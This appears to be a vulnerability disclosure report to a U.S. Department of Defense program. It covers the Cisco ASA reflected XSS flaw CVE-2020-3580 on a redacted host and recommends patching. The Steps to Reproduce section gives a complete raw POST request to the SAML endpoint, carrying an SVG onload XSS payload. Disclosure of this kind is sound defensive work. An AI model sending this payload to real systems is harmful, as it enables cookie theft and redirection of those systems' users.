U.S. Dept Of Defense: ███████ - XSS - CVE-2020-3580

████ appears to be affected by the Cisco ASA XSS CVE-2020-3580, This vulnerablity is targets the saml service within the VPN. It is triggered via a POST request to /+CSCOE+/saml/sp/acs?tgname=a

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe

Impact

With this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.

System Host(s)

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Affected Product(s) and Version(s)

Cisco ASA

CVE Numbers

CVE-2020-3580

Steps to Reproduce

send a POST request from browser:

POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: █████
Connection: close
sec-ch-ua: " Not;A Brand";v=“99”, “Google Chrome”;v=“91”, “Chromium”;v=“91”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 40

SAMLResponse="><svg/onload=alert(‘xss’)>

Suggested Mitigation/Remediation Actions

Patch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe